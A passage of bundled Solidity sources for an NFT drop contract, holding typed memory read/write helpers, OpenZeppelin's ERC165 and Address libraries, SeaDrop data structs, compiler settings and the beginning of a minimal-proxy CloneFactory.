MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"src/lib/ERC721SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n"
}
},
"settings": {
"remappings": [
"forge-std/=lib/forge-std/src/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"ERC721A/=lib/ERC721A/contracts/",
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@rari-capital/solmate/=lib/seaport/lib/solmate/",
"murky/=lib/murky/src/",
"create2-scripts/=lib/create2-helpers/script/",
"seadrop/=src/",
"seaport-sol/=lib/seaport/lib/seaport-sol/",
"seaport-types/=lib/seaport/lib/seaport-types/",
"seaport-core/=lib/seaport/lib/seaport-core/",
"seaport-test-utils/=lib/seaport/test/foundry/utils/",
"solady/=lib/solady/"
],
"optimizer": {
"enabled": true,
"runs": 99999999
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"libraries": {}
}
}}
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363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
